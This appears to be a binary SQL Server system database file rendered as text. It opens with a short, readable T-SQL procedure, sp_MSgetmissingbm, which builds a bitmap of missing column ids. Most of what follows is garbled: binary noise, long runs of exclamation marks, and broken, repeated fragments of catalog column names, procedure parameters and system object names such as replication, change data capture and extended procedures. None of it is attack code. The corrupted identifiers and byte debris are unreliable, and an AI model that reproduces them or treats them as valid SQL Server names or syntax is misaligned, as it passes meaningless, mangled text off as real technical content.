    -- return otherwise
    return 0
end
0 8create procedure sys.sp_MSgetmissingbm 
	@objid int,
	@missingbm varbinary(128) output,
	@missingcolcount int output
as
	set nocount on

	declare @maxcolid int
	declare @idx int

	select @maxcolid= max(column_id) from sys.columns where object_id = @objid
	if @maxcolid is null return 1

	set @missingbm= null
	set @missingcolcount= 0
	set @idx= 1

	while @idx <= @maxcolid
	begin
		if not exists (select * from sys.columns where object_id = @objid and column_id = @idx)
		begin
			exec sys.sp_MSsetbit
					@bm= @missingbm output,
					@coltoadd= @idx

			set @missingcolcount= @missingcolcount + 1
		end

		set @idx= @idx + 1
	end

	return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`- 3)f~0-!3Qworker_address0-!388
Astatus0-!3hhOis_preemptive0-!3hhEis_fiber0-!3hhCis_sick0-!3hhYis_in_cc_exception0-!3hhYis_fatal_exception0-!3hhSis_inside_catch0-!3	hh{is_in_polling_io_completion_routine0-!3
88
]context_switch_count0-!388
Upending_io_count0-!3_pending_io_byte_count0-!3
88
cpending_io_byte_average0-!3_wait_started_ms_ticks0-!3_wait_resumed_ms_ticks0-!3[task_bound_ms_ticks0-!3cworker_created_ms_ticks0-!388
Oexception_num0-!388
Yexception_severity0-!3Wexception_address0-!3Eaffinity0-!3x4x?state0-!3Ostart_quantum0-!3Kend_quantum0-!3x4xQlast_wait_type0-!388
Kreturn_code0-!3Mquantum_used0-!3Kmax_quantum0-!388
Kboost_count0-!388
_tasks_processed_count0-!3Ofiber_address0-!3 Mtask_address0-!3!_memory_object_address0-!3"Qthread_address0-!3#_signal_worker_address0-!3$Wscheduler_address0-!3%44Sprocessor_group0-!3&88
Kpdw_node_id0-7;@bm0-744G@coltoadd0-788
A@toset0-
U8$$C@job_id0-
U888
M@category_id0-	^I@publisher0-	^O@publisher_db0-	^M@publication0-6QI@publisher0-6Q00Q@refreshpolicy0-bBM@publication0-><K@generation0-><88
M@changecount!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!p'U>

V

6/

4
		?	V}89{ZI{"A`-4)E0-88
G@newvalue0-C_event_session_address0-C4Ktarget_name0-C$$[target_package_guid0-CSexecution_count0-C_execution_duration_ms0-C4@Ktarget_data0-
creferencing_schema_name0-
creferencing_entity_name0-
88
Qreferencing_id0-
00Wreferencing_class0-
xxareferencing_class_desc0-
hh[is_caller_dependent0-

?@name0-
xW@referenced_class0-Gaction_id0-=name0-F4FIclass_desc0-]covering_action_name0-F4FWparent_class_desc0-qVO@table_schema0-tE@srvname0-t88
G@agent_id0-t88
K@agent_type0-.M@publication0-.K@subscriber0-.Q@subscriber_db0-88
G@agent_id0-U@last_xact_seqno0-00I@get_count0-88
]@compatibility_level0-88
Q@subdb_version0-88
U@read_query_size0-44O@publisher_id0-O@publisher_db0-M@publication0-Q@subscriber_db0-U@subscriber_name0-$$A@subid0-88
U@first_anonymous0-88
[@subscriber_version0-	88
g@publisher_engine_edition0-I@publisher0-O@publisher_db0-M@publication0-K@subscriber0-Q@subscriber_db0-88
O@reset_reinit0-9W$$A@pubid0-9W$$A@artid0-9W88
C@exists0-$A@tname!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!6ixo~9_]
;
		@	c

r0
^QKb
`4-?)N^0-88
A@ccopt0-88
?@rows0-;@p10-;@p20-;@p30-;@p40-	;@p50-
;@p60-88
C@handle0-88
I@scrollopt0-88
A@ccopt0-88
?@rows0-;@p10-;@p20-;@p30-88
C@handle0-G@procname0-88
I@scrollopt0-88
A@ccopt0-88
?@rows0-;@p10-;@p20-;@p30-	;@p40-
;@p50-;@p60-88
E@ODBCVer0-88
C@handle0-G@procname0-88
I@scrollopt0-88
A@ccopt0-88
?@rows0-;@p10-;@p20-;@p30-	;@p40-
88
E@ODBCVer0-hhM@fUsePattern0-	88
C@handle0-	88
I@scrollopt0-	88
A@ccopt0-	88
?@rows0-	;@p10-	;@p20-	;@p30-	;@p40-		;@p50-	
;@p60-
88
C@handle0-
88
I@scrollopt0-
88
A@ccopt0-
88
?@rows0-
;@p10-
;@p20-
;@p30-
hhM@fUsePattern0-88
C@handle0-88
I@scrollopt0-88
A@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_prefix_length0-"BhhGis_public0-"BhhCis_ipv40-Țcdispatcher_pool_address0-ȚMtask_address0-Țx4x?state0-ȚOwait_duration0-Ț_current_item_duration0-ȚSitems_processed0-Ț88
Ofade_end_time0-Ț88
Kpdw_node_id0-Pn88
G@newvalue0-cQE@tabname0-cQM@triggertype0-]O@table_server0-]K@table_name0-]O@table_schema0-]Q@table_catalog0-]M@column_name0-]88
E@ODBCVer0-]hhM@fUsePattern0-r88
I@object_id0-r88
W@source_object_id0-y$$A@pubid0-y88
U@parent_nickname0-y$$S@parent_rowguid0-yU@dest_common_gen!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!H[t/c		z#NM^g`-l1)+s@A?0-)`88
Kdatabase_id0-)`88
Urecovery_unit_id0-)`Kconsumer_id0-)`4Oconsumer_name0-)`88
Uresource_pool_id0-)`00Cis_idle0-)`88
_wait_time_before_idle0-)`88
Wprogress_category0-)`	00Spersistent_only0-)`
00Sfull_block_only0-)`88
Sshare_intention0-)`88
Qscan_direction0-)`
88
Wread_ahead_target0-)`00Ostats_enabled0-)`ll

Gstart_lsn0-)`ll

Kcurrent_lsn0-)`Uend_log_block_id0-)`]current_cache_buffer0-)`cincomplete_cache_buffer0-)`00Kreached_end0-)`00Uoutstanding_read0-)`00Sread_ahead_done0-)`ll

[next_read_ahead_lsn0-)`88
[read_ahead_distance0-)`Wprivate_pool_size0-)`qprivate_pool_last_access_point0-)`wprivate_pool_last_RA_access_point0-)`Wprivate_pool_hits0-)`[private_pool_misses0-)`]private_pool_hits_RA0-)`aprivate_pool_misses_RA0-)` qprivate_pool_hit_search_length0-)`!sprivate_pool_miss_search_length0-)`"yprivate_pool_hits_search_length_RA0-)`#yprivate_pool_miss_search_length_RA0-)`$88
Sreference_count0-)`%00afree_ref_slot_occupied0-)`&etarget_private_pool_size0-)`'Qtruncate_point0-)`(88
Imem_status0-)`)88
Kscan_status0-)`*]consumed_block_count0-)`+Mcache_misses0-)`,Ysigma_blocks_ahead0-)`-Qblocks_from_LC0-)`.[blocks_from_LogPool0-)`/Ublocks_from_disk0-)`000_log_consumer_deleting0-)`188
elog_consumer_ref_counter!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!ZU`
a

4H
v

	g	(rj2;2K`-N)PK2w0-
M@object_name0-
88
G@index_id0-
88
W@partition_number0-
xW@data_compression0-C@dbname0-=+"88
Ceventid0-=+"88
Ecolumnid0-=+"88
C@handle0-~488
Gobject_id0-~488
Gschema_id0-~4OTABLE_CATALOG0-~4MTABLE_SCHEMA0-~4ITABLE_NAME0-~4KCOLUMN_NAME0-~4$$KCOLUMN_GUID0-~488
OCOLUMN_PROPID0-~4	88
UORDINAL_POSITION0-~4
hhWCOLUMN_HASDEFAULT0-~4QCOLUMN_DEFAULT0-~488
MCOLUMN_FLAGS0-~4
hhKIS_NULLABLE0-~444GDATA_TYPE0-~4$$GTYPE_GUID0-~488
eCHARACTER_MAXIMUM_LENGTH0-~488
aCHARACTER_OCTET_LENGTH0-~444WNUMERIC_PRECISION0-~444ONUMERIC_SCALE0-~488
YDATETIME_PRECISION0-~4_CHARACTER_SET_CATALOG0-~4]CHARACTER_SET_SCHEMA0-~4YCHARACTER_SET_NAME0-~4WCOLLATION_CATALOG0-~4UCOLLATION_SCHEMA0-~4QCOLLATION_NAME0-~4QDOMAIN_CATALOG0-~4ODOMAIN_SCHEMA0-~4KDOMAIN_NAME0-~4KDESCRIPTION0-~488
KCOLUMN_LCID0-~4 88
UCOLUMN_COMPFLAGS0-~4!88
OCOLUMN_SORTID0-~4"[COLUMN_TDSCOLLATION0-~4#hhKIS_COMPUTED0-~4${SS_XML_SCHEMACOLLECTION_CATALOGNAME0-~4%ySS_XML_SCHEMACOLLECTION_SCHEMANAME0-~4&kSS_XML_SCHEMACOLLECTIONNAME0-~4'YSS_UDT_CATALOGNAME0-~4(WSS_UDT_SCHEMANAME0-~4)KSS_UDT_NAME0-7i88
Gobject_id0-7i88
Gschema_id0-7i88
?colid0-7i=name0-7iUtds_collation_280-7iUtds_collation_900-7iWtds_collation_1000-7iMcollation_280-7i	Mcollation_900-7i
Ocollation_1000-C@object0-A@owner0-2I@publisher0-2O@publisher_db0-2M@publication0-2UI@owner_sid0-82M@publication0-82K@subscriber0-,G$$?@guid0-,G@A@mystr0-l88
I@tablenick0-lG@procname0-M@publication0-g@dynamic_snapshot_jobname0-$$c@dynamic_snapshot_jobid0-88
s@logical_record_parent_nickname0-$$q@logical_record_parent_rowguid0-G@replnick0-hh]@parent_row_inserted!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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00mis_pending_secondary_suspend0-:00Yis_database_joined0-:xxisynchronization_state_desc0-\44=dbid0-\88
Eobjectid0-\44Anumber0-\hhGencrypted0-\@Iquery_plan0-\@C@handle0-SBaA@table0-SBaY@expected_rowcount0-SBall	Y@expected_checksum0-SBa44Q@rowcount_only0-
3G@taskname0-
3I@publisher0-
3M@publisherdb0-
3M@publication0-c$G@filename0-c$G@temp_dir0-c$hhe@overwrite_existing_file0-H=/K@subscriber0-5$$C@job_id0-588
E@step_id0-5?@mode0-S@publisher_type0-G@provider0-=@I@directory0-=@K@scriptfile0-A:?@name0-A:==?@time0-L+88
;@id0-L+88
?@mode0-7:Q@source_schema0-7:M@source_name0-7:W@capture_instance0-7:S@filegroup_name-0hh0-0$$A@pubid0-PDI@publisher0-PDO@publisher_db0-PDM@publication0-PDK@subscriber0-PDQ@subscriber_db0-W'E@pubname0-W'88
G@filterid0-W'G@procname0-LI?@name0-LI[@destination_object0-LIY@destination_owner0-LI$$A@artid0-LI$$A@pubid0-LI00_@pre_creation_command0-LI88
C@status0-LI00?@type0-cH88
A@objid0-cHE@newnameG@temp_dir0-c$hhe@overwrite_existing_file-0-?@type0-C@length0-?@prec0-88
A@scale0-hhG@nullable0-H=/K@subscriber0-5$$C@job_id0-588
E@step_id0-5?@mode0-S@publisher_type0-G@provider0-=@I@directory0-=@K@scriptfile0-A:?@name0-A:==?@time0-L+88
;@id0-L+88
?@mode0-7:Q@source_schema0-7:M@source_name0-7:W@capture_instance0-7:S@filegroup_name0-vQ@source_schema0-vM@source_name0-088
Isession_id0-088
Mphase_number0-0==Ientry_time0-088
Merror_number0-088
Qerror_severity0-088
Kerror_state0-04Oerror_message0-0040Gstart_lsn0-0	040Gbegin_lsn0-0
040Qsequence_value-0hh0-0$$o|9h#:Wb#yg
f\

}$X	i&a5k(	P		]


Px
1
	B`
-p)Cm:B0-88
GOBJECT_ID0-88
GSCHEMA_ID0-00CODBCVER0-STABLE_QUALIFIER0-KTABLE_OWNER0-ITABLE_NAME0-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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!z;lDc1`0D"z2Ж00V tsstavailability_databases_cluster002V ^spt_procedures_user00P Psp_validname00IV Fd|dm_resource_governor_configuration00ˮP ^sp_refreshsqlmodule00ڪX ttsp_fulltext_semantic_unregister_language_statistics_db_internal00(V $dm_pdw_nodes_tran_session_transactions00=P 7Lsp_addrole00'(KP Ò\sp_addlinkedserver00|UP %D$ITsp_cursor_list00~V`IFŭݭdfn_builtin_permissions00nwV *R^dm_exec_query_stats00BgP 7MTMLsp_sqlexec00}V qRdm_pdw_errors00pP sPsp_detach_db00JP 
67dsp_primary_keys_rowset00~V dm_fts_semantic_similarity_population00P ?svsp_db_vardecimal_storage_format00'X DI^sp_reset_connection00vqP DEXsp_views_rowset200P GVG\sp_schemata_rowset00,P ]]xsp_assembly_dependencies_rowset200oV qqrspt_indexcolumns_view_managed00PCsp_scriptdropinsreconciliationproc_sqlclr00FN|fn_replcombinehilodwordintobinary800QݣFN#G{Zfn_repluniquename00,P ++hsp_MSadd_repl_job_unsafe00P wnsp_MSscript_trigger_updates00C}P 00dsp_MSsafe_repl_encrypt00CqP Bz`sp_copymergesnapshot00یFNz_z_dfn_units_until_maxdate00vP JgH{~sp_changereplicationserverpasswords00X vI{Nsp_repldone00FNǁǁXfn_ORAsourceinfo004
P \sp_dropdistributor00P /psp_replication_agent_checkup00P YYpsp_MSrepl_setdefaultdatatype00UP bsp_ORAverifypublisher00@mFNmffn_varbintohexsubstring00_/P ^<Psp_subscribe00P veZsp_scriptsupdproc00EiP thsp_MSdrop_6x_publication00qP bsp_MSdrop_publication00$bP SYnsp_MSget_session_statistics00TP lsp_MShelp_snapshot_agentid00 +P lGy~sp_processlogshippingmonitorhistory00$P oHysp_help_log_shipping_monitor_primary00P gVsp_MScdc_logddl00FNVfn_cdc_get_role00VP xxtsp_cdc_add_index_columns_entry00P xsp_cdc_drop_change_table_objects004P AA~sp_cdc_create_populate_stored_procs00bP Vsp_cdc_stop_job00tP ԰԰lsp_cdc_change_job_internal00+P onsp_cdc_get_captured_columns00aFNӸffn_cdc_check_parameters000V ORdm_cdc_errors00̐P sp_MSrepl_register_default_resolvers00)P ..|sp_MSchangemergedynamicsnapshotjob000FN11bfn_MSisfilteredcolumn000P PP\sp_MSrepl_helptext00^P kkfsp_MSenumpartialchanges00uSP #t#tjsp_MSenumschemachange_100002P brsp_MScreateandsetarticleprocs00iP Zdsp_MScreatebeforetable00[WP ujsp_MSreplcheck_permission001ŮP ONfsp_enum_oledb_providers00`dP vVsp_MSdbuserpriv~sp_changereplicationserverpasswords00<P 9oU{fsp_dropreplsymmetrickey00X vI{Nsp_repldone00FNǁǁXfn_ORAsourceinfo00ԺP dsp_helppublicationsync004
P .\sp_dropdistributor00iP bsp_MSenum_misc_agents00P /psp_replication_agent_checkup00P YYpsp_MSrepl_setdefaultdatatype00UP Tl2(	(
xB 4
Tn4p>D\v
Xf$b	f2$
j
`0J9"2o$(00ZX |-~2zsp_change_tracking_waitforchanges00U /0\trace_xe_event_map00V **rdm_hadr_internal_ag_listeners00G)V _o`dm_pdw_exec_sessions00pc2P --lsp_foreign_keys_rowset_rmt00w8X iXsp_getschemalock00quAV 6Rdm_pdw_nodes_os_memory_cache_entries00M_P B$I\sp_describe_cursor00dP rNsp_dbremove00tP uhsp_dbfixedrolepermission00{U ^_pdw_index_mappings00-P 0Rsp_setapprole00V pdw_health_component_status_mappings00V \dm_server_services00PP K~1Lsp_monitor0046V ndm_tran_active_transactions00?P XϊPsp_droplogin00P FIxsp_create_plan_guide_from_handle009P sp_help_spatial_geography_index_helper00P Xsp_changedbowner00-3P .2lsp_db_increased_partitions00Ӻ6P >ЊTsp_revokelogin00UA
FNhfn_skipparameterargument00m2{FNOTfn_synctrigger00$P zsp_addmergepullsubscription_agent00VP \sp_addsynctriggers00UsP  (vsp_vupgrade_subscription_tables005P '>hsp_refreshreplsysservers00E?P oMF{jsp_MSadd_compensating_cmd00]P .Tzpsp_MSmergeupdatelastsyncinfo00fP DqXsp_MSrepldecrypt00h+X uuZxp_mapdown_bitmap00^c4P ՇՇrsp_MSvalidate_agent_parameter00{SP 
\sp_IHdroppublisher00W.P Tsp_adddatatype00P dsp_MSrepl_SASdatatypes00/P cXsp_scriptupdproc009>FNf^fn_MSrepl_dependUDT00~P l'vsp_MSmarksubscriptionvalidation00L?P ohsp_MSadd_subscriber_info00hP Y`sp_MSenum_snapshot_s00W\P "jsp_MSdist_adjust_identity00P +Zhsp_MSinvalidate_snapshot00 #P aGysp_delete_log_shipping_primary_database00P 3fHysp_add_log_shipping_secondary_primary00vZ1P 2{2{Rsp_MSdrop_cdc00HP hsp_MSFixPubColumnBitmaps00MP 2nHnbsp_MSgetmetadatabatch00P Y~pbsp_MSsetconflicttable00!P ˄˄dsp_MSdropsystableviews00&P dsp_MSsetsubscriberinfo00<7P Zsp_MSdropctsviews00[P nsp_MSfixupbeforeimagetables00O)FNqqffn_MSrowispastretention00>'`P 
jsp_MSgetonerowlightweight00> X m=Vxp_readerrorlog00" P !p!Zsp_MSsetalertinfoits_from_date00fP DqDqXsp_MSrepldecrypt00FNXrXr`fn_MSmerge_Fix80Colv00X MtH{Txp_replposteor00h+X uuZxp_mapdown_bitmap00^c4P ՇՇrsp_MSvalidate_agent_parameter00k)P ۟rsp_helpdistributor_properties00{SP \sp_IHdroppublisher00'P }.bsp_dropdistributiondb00oPP ~sp_MScleanupmergepublisher_internal00H\P ^sp_MScopyscriptfile009BNFNjfn_MSrepl_istranpublished00W.P Tsp_adddatatype00P dsp_MSrepl_SASdatatypes00BP ggsp_MSrepl_MSSQL_DB2_datatypemappings00!FNttffn_IHGenerateUniqueName001f/@P 
	
	zsp_MSdumpscripttabletonvarcharmax00P Xsp_articlecolumn00M>P ,,`sp_MSrepl_addarticle008%@P t6t6Xsp_changearticle00/P cXsp_scriptupdproc009>FNff^fn_MSrepl_dependUDT00~P llvsp_MSmarksubscriptio
HX
f	lt6R~	:p	^
L>
v
x6tP&6@`L0M?"^$w/E00oFT`GeodeticTessellation00xU rrZ_dm_pdw_dms_cores008~V Sq`dm_os_process_memory00!P %L5Ljsp_tables_info_90_rowset200U&V 55bspt_primary_keys_view00lFX PDHIVsp_getbindtoken00pP e/2jsp_db_selective_xml_index00P 	cJsp_ddopen00AIFdfn_remote_primary_keys00P Xsp_sproc_columns00.P }/0Zsp_indexes_rowset00X \BHXsp_cursorexecute00W|V jpdw_diag_event_properties00P وՊfsp_checkusernotloggedin00
V nRdm_xe_objects00P ;;Zsp_tables_rowset200YV `dm_xe_object_columns00}PC""|sp_MSscriptsynctrancommands_sqlclr00PCsp_MSscriptpublicationcustomprocs_sqlclr00,LP MMpsp_execresultset_nvarcharmax00MP zxsp_resetsnapshotdeliveryprogress00P \zlsp_resyncmergesubscription00BRP nsp_MSchange_repl_job_unsafe00aP ejsp_MSenumtranpublications00`P rrvsp_MSfixupsharedagentproperties00P nsp_addmergepullsubscription00XP bsp_check_sync_trigger00AP l!+jsp_MSUpgradeConflictTable00
`P Hbsp_attachsubscription00FP d/dsp_add_agent_parameter00߮P jsp_MSdistributoravailable00W6P nsp_check_publication_access00[P tsp_MSrepl_fixupdefaultmappings00ǕP Kxsp_MSrepl_createdatatypemappings00]P  bsp_helparticlecolumns00޷P EElsp_MSscript_insert_subwins00鷩P 0O0Olsp_MSscript_delete_pubwins00hP dsp_ORAChangeTableSpace00.P g\sp_MSget_min_seqno007P Xpsp_MSget_repl_cmds_anonymous00P jsp_MScheck_snapshot_agent00UP hsp_MSadd_logreader_agent00P vsp_MScleanup_subscriber_history00ΑP W4iXsp_MSmerge_log_identity_range_allocations00i0XP 8SZrsp_replmonitorhelppublication00P 7B0sp_MSchange_snapshot_agent_properties00ZP C2fsp_MSreplagentjobexists00P ~h`sp_MScdc_capture_job00LoFNbfn_cdc_index_required00m=P Xsp_cdc_restoredb00P ccdsp_MSadjustgenerations00"FN==vfn_MSmerge_mightneedrowtrackbcp00QP rsp_MScheck_republisher_ranges00UNP  +vsp_MSreset_logical_record_views000hP ?jsp_MScheck_subset_filters00P AAsp_MSdetermine_logical_record_parents00P ]]hsp_MSgetalternaterecgens00-P }^^`sp_MSgetreplicastate00*P j{y{tsp_MSgetsupportabilitysettings00P ulsp_MSgetconflictinsertproc00X OLxp_regread00C X kKhxp_instance_regdeletekey00H X fxp_sysmail_format_query֮/fsp_change_agent_profile00W6P nsp_check_publication_access00%P 0^sp_replincrementlsn00[P tsp_MSrepl_fixupdefaultmappings00ǕP Kxsp_MSrepl_createdatatypemappings00P bsp_changesubscription00]P  bsp_helparticlecolumns00FN))lfn_repltranquotecustomproc00޷P EElsp_MSscript_insert_subwins00鷩P 0O0Olsp_MSscript_delete_pubwins00ŁP kkjsp_publication_validation004P mmTsp_replrestart00|P ȇȇXsp_IHVerifyIndex00hP ds:@
(
@
fbn`	>P*vz4
@FV\z	f
